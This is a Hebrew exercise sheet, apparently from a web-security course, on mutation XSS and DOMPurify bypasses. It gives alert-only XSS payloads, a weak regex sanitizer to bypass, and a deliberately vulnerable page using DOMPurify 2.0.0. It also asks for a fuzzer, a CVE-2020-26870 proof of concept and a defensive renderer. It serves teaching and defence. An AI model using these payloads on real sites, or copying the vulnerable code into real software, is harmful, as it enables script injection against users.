לדלג לתוכן

מוטציית XSS - תרגיל

תרגיל 1: הבנת מוטציות

עבור כל אחד מקטעי ה-HTML הבאים, הסבירו מה קורה כשמכניסים אותו ל-innerHTML ומה יהיה ה-DOM שנוצר:

א.

<svg><p>hello</p></svg>

ב.

<math><mi><table><mglyph>text</mglyph></table></mi></math>

ג.

<svg><title><style><a id="test"></style></title></svg>

ד.

<div><noscript><img src=x onerror=alert(1)></noscript></div>

לכל אחד: פתחו את DevTools, הכניסו ל-innerHTML, ובדקו את התוצאה.


תרגיל 2: בדיקת DOMPurify

כתבו סקריפט שבודק אם ה-payloads הבאים עוברים DOMPurify ומה קורה אחרי innerHTML:

let payloads = [
  '<svg><title><img src=x onerror=alert(1)></title></svg>',
  '<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>',
  '<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
  '<svg></p><style><a id="</style><img src=x onerror=alert(1)>">',
  '<math><annotation-xml encoding="text/html"><img src=x onerror=alert(1)></annotation-xml></math>'
];

עבור כל payload:
1. מה DOMPurify מחזיר?
2. האם יש מוטציה אחרי innerHTML?
3. האם ה-XSS מופעל?


תרגיל 3: יצירת payloads מקוריים

א. שילוב SVG ו-math

צרו payload שמשלב <svg> ו-<math> כדי ליצור מוטציה. השתמשו ב-foreignObject ו-annotation-xml.

ב. ניצול style

צרו payload שמנצל את ההבדל בפרסור של <style> בין SVG namespace ל-HTML namespace.

ג. שרשור אלמנטים

צרו payload שמשרשר שלושה אלמנטים שונים כדי ליצור מוטציה שמעבירה <img onerror> מטקסט לאלמנט HTML פעיל.


תרגיל 4: בניית fuzzer

כתבו fuzzer ב-JavaScript שמחולל שילובים של:

  • אלמנטי namespace: svg, math, foreignObject, annotation-xml, desc, mtext
  • אלמנטי טקסט: style, title, noscript, xmp, textarea, template
  • תוכן זדוני: <img src=x onerror=alert(1)>, <script>alert(1)</script>
  • מבני עומק: 1-3 רמות קינון

הסקריפט צריך:
1. לייצר את כל הקומבינציות
2. להעביר כל אחת דרך DOMPurify
3. להכניס ל-innerHTML
4. להשוות את הקלט והפלט
5. לדווח על מוטציות שנמצאו


תרגיל 5: עקיפת סניטייזר מותאם

הקוד הבא מממש סניטייזר פשוט. מצאו דרך לעקוף אותו:

function sanitize(html) {
  // הסרת תגיות script
  html = html.replace(/<script[\s\S]*?<\/script>/gi, '');

  // הסרת event handlers
  html = html.replace(/\s+on\w+\s*=\s*["'][^"']*["']/gi, '');
  html = html.replace(/\s+on\w+\s*=\s*[^\s>]*/gi, '');

  // הסרת javascript: URLs
  html = html.replace(/javascript\s*:/gi, '');

  // הסרת data: URLs
  html = html.replace(/data\s*:/gi, '');

  return html;
}

א. מצאו לפחות 3 דרכים שונות לעקוף את הסניטייזר.

ב. הסבירו למה regex-based sanitization לא בטוחה.

ג. כתבו payload שמנצל מוטציה כדי לעקוף את הסניטייזר גם אם הוא היה חזק יותר.


תרגיל 6: מוטציה בפועל

הגדרת סביבה

צרו דף HTML עם הקוד הבא:

<!DOCTYPE html>
<html>
<head>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.0.0/purify.min.js"></script>
</head>
<body>
  <div id="output"></div>
  <script>
    let params = new URLSearchParams(location.search);
    let input = params.get('html') || '';

    let clean = DOMPurify.sanitize(input);
    document.getElementById('output').innerHTML = clean;
  </script>
</body>
</html>

א. שימו לב - הגרסה היא 2.0.0 (פגיעה). מצאו payload שיריץ alert(document.domain).

ב. שנו את הגרסה ל-3.x (אחרונה). האם אותו payload עדיין עובד? אם לא, מצאו אחד שכן (או הסבירו למה זה קשה יותר).

ג. שנו את הקוד להשתמש ב-RETURN_DOM_FRAGMENT במקום מחרוזת. האם ה-payload עדיין עובד? הסבירו.


תרגיל 7: ניתוח CVE

חקרו את ה-CVE הבא: CVE-2020-26870 (DOMPurify bypass)

  1. מה ה-payload המדויק?
  2. איזו גרסה של DOMPurify פגיעה?
  3. מה המוטציה שמתרחשת?
  4. איך התיקון מונע את המוטציה?
  5. כתבו PoC שמדגים את החולשה

תרגיל 8: הגנה

כתבו מודול JavaScript שמספק הגנה מפני mXSS:

class SafeRenderer {
  /**
   * מקבל HTML לא מהימן ומרנדר אותו בצורה בטוחה
   * דרישות:
   * 1. שימוש ב-DOMPurify עם RETURN_DOM_FRAGMENT
   * 2. ולידציה שניה על ה-fragment לפני הכנסה
   * 3. רישום (logging) של ניסיונות מוטציה
   */
  render(untrustedHtml, targetElement) {
    // השלימו
  }
}